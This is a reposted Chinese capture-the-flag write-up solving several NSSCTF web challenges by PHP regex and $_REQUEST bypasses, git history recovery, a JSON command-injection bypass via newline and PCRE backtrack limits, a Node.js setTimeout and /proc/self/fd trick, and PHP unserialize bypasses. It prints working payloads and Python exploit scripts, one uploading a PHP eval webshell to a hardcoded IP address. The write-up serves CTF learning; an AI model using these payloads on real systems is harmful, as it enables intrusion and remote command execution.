NSSCTF第13页(1)

news2025/1/19 11:08:56

[NCTF 2018]Easy_Audit

小小代码审计

$_REQUEST:PHP的内置变量,是一个数组,保存传递的参数,它的特性是如果get,post一起传参,则会优先post传参,可以由此进行变量覆盖。

$_SERVER:PHP的内置变量,是一个数组,其中QUERT_STRING是指问号之后的所有字符串,其不会对参数进行url解码,可以采用url编码绕过。

substr()返回字符串的提取部分,如果失败则返回 FALSE,或者返回一个空字符串。

md5()处理数组时也会返回flase

file_get_contents()可以使用data://text/plain,xxxx来构造我们需要的字符

 $_REQUEST有一个特性,就是当GET和POST都存在同一个变量名的时候,只获取POST中的值,所以可以通过这个特性来绕过正则的匹配

这个正则绕过也很简单只要nctf是以nctfisfun结尾,且不等于nctfisfun就行了,我这里用nctfisfun 绕过的 也就是nctfisfun%0A

file_get_contents函数,从参数里面看就是直接传入一个远程的txt就行了,txt的内容为ccc_liubi

[NCTF 2018]全球最大交友网站

下载a.zip

 看到这么多文件头大

先来复习一下git泄露的相关知识

Git泄露相关知识点-CSDN博客

常用git命令总结大全_git 命令-CSDN博客

写的很详细

执行git log,git log 显示到HEAD所指向的commit为止的所有commit记录,简单说来就是可以查看之前版本的记录(删除了的看不见),git reflog和git log功能一样(删除了的也能查看)。

可以看到我们git log以后我们能看到三个版本的哈希值,一个是现在所在的版本(hint),一个是前版本(hello),一个是初始化的版本(wrote a readme file),而我们现在的版本大家也看到的是空白的一个文件。

看见有提示 读取一下

git reset --hard 与 git cherry-pick

git reset —hard HEAD/HEAD^/HEAD^^/HEAD~100   回退到上几个版本
HEAD是当前版本,HEAD^上个版本,HEAD^^上上个版本,HEAD~100回退100个版本
git reset —hard 3628164 回退到指定版本号,版本号不用写全

git reset --hard HEAD

说是所有的都在tag1.0里边,因为tag1.0是上一个版本的

所以我们用命令 git reset --hard HEAD^

cat一下,得到flag

 [FBCTF 2019]rceservice

附件是源码

<html>

  <body>

    <h1>Web Adminstration Interface</h1>

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {

  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {

    echo 'Hacking attempt detected<br/><br/>';

  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {

    echo 'Hacking attempt detected<br/><br/>';

  } else {

    echo 'Attempting to run command:<br/>';

    $cmd = json_decode($json, true)['cmd'];

    if ($cmd !== NULL) {

      system($cmd);

    } else {

      echo 'Invalid input';

    }

    echo '<br/><br/>';

  }

}

?>

    <form>

      Enter command as JSON:

      <input name="cmd" />

    </form>

  </body>

</html>

提示输入json命令,json格式为键值对模式,输入{“cmd”:“ls”}  

 正则限制

preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json

第一种:

这里的正则限制和其他题的不一样,他是只限制第一行

preg_match('/^.*(flag).*$/',$a) 

上面的正则过滤中,.不会匹配到换行符可以\nflag绕过
在非多行模式下,$不会匹配到%0a,可以flag%0a绕过 

源码中可以看到putenv('PATH=/home/rceservice/jail')已经修改了环境变量

 cat命令在/bin中保存

Linux命令的位置:`/bin`,`/usr/bin`,默认都是全体用户使用,
`/sbin`,`/usr/sbin`,默认root用户使用

%0A是换行符

 ?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

第二种

利用回溯次数来绕过函数 ,以前从来没见过,又学到了新东西

 https://www.cnblogs.com/EchoQ12/p/17644247.html --利用PCRE回溯次数限制绕过

PHP利用PCRE回溯次数限制绕过某些安全限制实战案例_pcre.backtrack_limit-CSDN博客

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit默认一百万,超过一百万不会返回1或0而是false即超过限制即可 

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

这道题的脚本

import requests
url='http://node4.anna.nssctf.cn:28039'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","DMIND":"'+'a'*1000000+'"}'
    }
print(url)
res = requests.post(url=url,data=data)
print(res.text)

 prize_p2

js代码审计......

gpt的审计

这段代码是一个使用 Node.js 的 Express 框架编写的简单服务器。下面逐行解释代码的含义:

  1. const { randomBytes } = require('crypto');:引入 Node.js 的 crypto 模块,以便后续使用 crypto.randomBytes() 函数生成随机字节。

  2. const express = require('express');:引入 Express 框架。

  3. const fs = require('fs');:引入 Node.js 的 fs 模块,用于文件操作。

  4. const fp = '/app/src/flag.txt';:定义了一个变量 fp,表示要读取的文件路径

  5. const app = express();:创建 Express 应用程序的实例。

  6. const flag = Buffer(255);:定义了一个大小为 255 字节的 Buffer 对象 flag,作为存储 flag 的缓冲区。

  7. const a = fs.open(fp, 'r', (err, fd) => {...}):异步地打开文件 fp,并将文件描述符 fd 传入回调函数。在回调函数中,使用 fs.read() 函数从文件中读取 44 字节的内容到 flag 缓冲区,并在读取完成后调用 fs.rm() 函数删除文件。

  8. app.get('/', function (req, res) {...}):当收到根路径的 GET 请求时,发送服务器源代码回客户端。

  9. app.get('/hint', function (req, res) {...}):当收到 /hint 路径的 GET 请求时,发送 flag 的部分内容(取决于随机数 randomBytes(1)[0] 的值)回客户端。

  10. app.get('/getflag', function (req, res) {...}):当收到 /getflag 路径的 GET 请求时,根据客户端提供的参数进行处理。如果参数 a 与 randomBytes(3).toString() 相等,发送指定文件的内容回客户端;否则,根据参数 c 的值设置一个定时器,在一天后或参数 c 毫秒后发送指定文件的内容回客户端。

  11. app.listen(80, '0.0.0.0', () => {...}):监听端口 80,并在服务器启动后输出 "Start listening"。

总体来说,这段代码是一个简单的服务器,根据不同的请求路径和参数来返回不同的内容。其中,涉及读取文件、生成随机数、设置定时器等操作。需要注意的是,代码中 flag 的内容是通过异步读取文件并存储在 flag 变量中的,可以通过发送 /hint 路径的请求来获取部分 flag 的内容。

输入hint发现他会随机显示flag字符

setTimeout:

setTimeout是使用Int32来存储延时参数值的,也就是说最大的延时值是2^31-1。 一旦超过了最大值,其效果就跟延时值为0的情况一样。数为 2147483648,即可实现延时为0。

fd:

/app/src/flag.txt 文件被 open() 打开,但最终没有关闭,虽然删除了该文件,但在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容。/proc/self/fd 这个目录里包含了进程打开文件的情况,目录里面有一堆/proc/self/fd/id文件,id就是进程记录的打开文件的文件描述符的序号。id可爆破猜测获得。

payload :

getflag?b=/proc/self/fd/18&c=2147483648

[FSCTF 2023]ez_php1

先代码审计

 

要传参a,b,a不等于b,a的md5值等于b的md5值,变量c是post传参

在加上正则限制

访问L0vey0U.php

这个就是序列化一下key,然后用str传参

传参

访问P0int.php

序列化传参绕过__wakeup()

让a的值赋值给b,所以打印b就是在打印a的值了

$b​ 不是引用 $a​,而是直接赋值为 $a​ 的值,那么在对象销毁时,$b​ 会被销毁。因此,在 __destruct​ 方法中访问 $this->b​ 时,可能会引发错误因为 $b​ 已经不存在。

通过使用引用关系,$a​ 和 $b​ 共享相同的内存地址,确保了在 __destruct​ 方法中能够正确访问到 $a​ 的内容

 

解码得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1224694.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

kubenetes-pod高可用

一、概述 实现pod层面的高可用&#xff0c;需要避免容器进程被终止避免Pod被驱逐&#xff1a; 设置合理的resources.memory limits 防止容器进程被 OOMKill&#xff0c;防止Pod被驱逐&#xff1b;设置合理的emptydir.sizeLimit 并且确保数据写入不超过emptyDir的限制&#xf…

【C++】chono库:使用及源码分析

文章目录 0. 概述1. duration1.1 分析std::chrono::duration_cast() 1.2 使用案例std::chrono::duration::count() 1.3 部分源码 2. time_point2.1 分析std::chrono::time_point_cast() 2.2 使用举例std::chrono::time_point::time_since_epoch() 2.3 部分源码 0. 概述 本篇文…

【数据结构】栈与队列面试题(C语言)

我们再用C语言做题时&#xff0c;是比较不方便的&#xff0c;因此我们在用到数据结构中的某些时只能手搓或者Ctrlcv 我们这里用到的栈或队列来自栈与队列的实现 有效的括号 有效的括号&#xff0c;链接奉上。 解题思路&#xff1a; 先说结论&#xff1a; 因为我们是在讲栈与…

mac系统安装docker desktop

Docker的基本概念 Docker 包括三个基本概念: 镜像&#xff08;Image&#xff09;&#xff1a;相当于是一个 root 文件系统。比如官方镜像 ubuntu:16.04 就包含了完整的一套 Ubuntu16.04 最小系统的 root 文件系统。比如说nginx,mysql,redis等软件可以做成一个镜像。容器&#…

C++知识点总结(6):高精度乘法

一、高精度数 低精度数 1. 输入两个数字 char a_str[1005] {}; long long b; cin >> a_str >> b; 2. 将高精度数转换为整型 int a[1005] {}; int len_a strlen(a_str); for (int i 0; i < len_a-1; i) {a[len_a-i-1] a_str[i] - 48; } 3. 计算 int …

java Could not resolve placeholder

1、参考&#xff1a;https://blog.csdn.net/yu1812531/article/details/123466616 2、配置文件: 3、在application.properties中设置要使用的配置文件

APIcloud 【现已更名 用友开发中心】 iOS发版 应用程序请求用户同意访问相机和照片,但没有在目的字符串中充分说明相机和照片的使用。

iOS 审核时 提示 首次安装软件 获取相机 相册 提示信息 怎么修改 我们注意到你的应用程序请求用户同意访问相机和照片&#xff0c;但没有在目的字符串中充分说明相机和照片的使用。 为了解决这个问题&#xff0c;修改应用信息中的目的字符串是合适的。相机和照片的Plist文件&a…

【giszz笔记】产品设计标准流程【6】

目录 六、组织评审 1.评审的类型 2.评审的人员——谁参加评审 3.评审的核心——怎么提问 & 答案谁说了算 4.评审的流程——前中后三部曲 5.评审的标的——漂亮的靶子 6.避免被“烤”问的一些技巧 7.搞几次评审比较好 这个产品设计系列&#xff0c;陆陆续续写了6篇了…

【DevOps】Git 图文详解(三):常用的 Git GUI

Git 图文详解&#xff08;三&#xff09;&#xff1a;常用的 Git GUI 1.SourceTree2.TortoiseGit3.VSCode 中的 Git 如果不想用命令行工具&#xff0c;完全可以安装一个 Git 的 GUI 工具&#xff0c;用的更简单、更舒服。不用记那么多命令了&#xff0c;极易上手&#xff0c;不…

C++初阶 日期类的实现(下)

目录 一、输入输出(>>,<<)重载的实现 1.1初始版 1.2友元并修改 1.2.1简单介绍下友元 1.2.2修改 1.3>>重载 二、条件判断操作符的实现 2.1操作符的实现 2.2!操作符的实现 2.3>操作符的实现 2.4>,<,<操作符的实现 三、日期-日期的实现 …

深入理解网络协议:通信世界的基石

&#x1f482; 个人网站:【 海拥】【神级代码资源网站】【办公神器】&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交流的小伙伴&#xff0c;请点击【全栈技术交流群】 在当今数字化时代&#xff0c;网络协议是连接世…

Intellij Idea屏蔽日志/过滤日志

一、安装插件 Grep Console 二、设置关键词&#xff0c;过滤日志 关键词的前后加上 .* 符号&#xff0c;类似&#xff1a; .*关键词.*设置后 &#xff0c;点击 Apply 即可过滤日志。

上网行为审计软件能审计到什么

上网行为审计软件是一种用于监控和分析员工在工作时间使用互联网行为的软件工具。这种软件可以帮助企业管理员工在工作时间内的互联网使用情况&#xff0c;以确保员工的行为符合企业规定和法律法规。 域之盾软件---上网行为审计软件可以审计到以下内容&#xff1a; 1、网络访问…

FFmpeg 6.1 发布,7.0时代即将来临

11月10日&#xff0c;FFmpeg 6.1正式发布。 FFmpeg 发布版本的时候&#xff0c;按照惯例&#xff0c;会选择一些物理学家名字作为代号&#xff0c;这一新版本代号为“Heaviside”。主要为纪念伟大的英国数学家和物理学家奥利弗黑维塞&#xff08;Oliver Heaviside)。 奥利弗黑维…

Vulhub靶场-KIOPTRIX: LEVEL 1

目录 环境配置 端口扫描 漏洞发现 mod_ssl漏洞利用 Samba远程代码执行漏洞利用 环境配置 首先去官网下载靶场导入到虚拟机中 下载地址&#xff1a;Kioptrix: Level 1 (#1) ~ VulnHub 下载完成之后导入到vmware中 这里需要改nat&#xff0c;桥接模式的靶机拿不到IP&…

Windows10下Tomcat8.5安装教程

文章目录 1.首先查看是否安装JDK。2.下载3.解压到指定目录&#xff08;安装路径&#xff09;4.启动Tomcat5.常见问题5.1.如果出现报错或者一闪而过5.2.Tomcat乱码 1.首先查看是否安装JDK。 CMD窗口输入命令 java -version 2.下载 历史版本下载地址&#xff1a;https://archi…

tomcat8.5处理get请求时,控制台输出中文乱码问题的解决

问题描述 控制台输出中文乱码 版本信息 我使用的是tomcat8.5 问题解决 配置web.xml 注&#xff1a;SpringMVC中处理编码的过滤器一定要配置到其他过滤器之前&#xff0c;否则无效 <!--配置springMVC的编码过滤器--> <filter><filter-name>CharacterEn…

Qt6版使用Qt5中的类遇到的问题解决方案

如果有需要请关注下面微信公众号&#xff0c;会有更多收获&#xff01; 1.QLinkedList 是 Qt 中的一个双向链表类。它提供了高效的插入和删除操作&#xff0c;尤其是在中间插入和删除元素时&#xff0c;比 QVector 更加优秀。下面是使用 QLinkedList 的一些基本方法&#xff1a…

量化交易:公司基本面的量化

公司的基本面因素一直具备滞后性&#xff0c;令基本面的量化出现巨大困难。而从上市公司的基本面因素来看&#xff0c;一般只有每个季度的公布期才会有财务指标的更新&#xff0c;而这种财务指标的滞后性对股票表现是否有影响呢&#xff1f;如何去规避基本面滞后产生的风险呢&a…

openGauss学习笔记-126 openGauss 数据库管理-设置账本数据库-归档账本数据库

文章目录 openGauss学习笔记-126 openGauss 数据库管理-设置账本数据库-归档账本数据库126.1 前提条件126.2 背景信息126.3 操作步骤 openGauss学习笔记-126 openGauss 数据库管理-设置账本数据库-归档账本数据库 126.1 前提条件 系统中需要有审计管理员或者具有审计管理员权…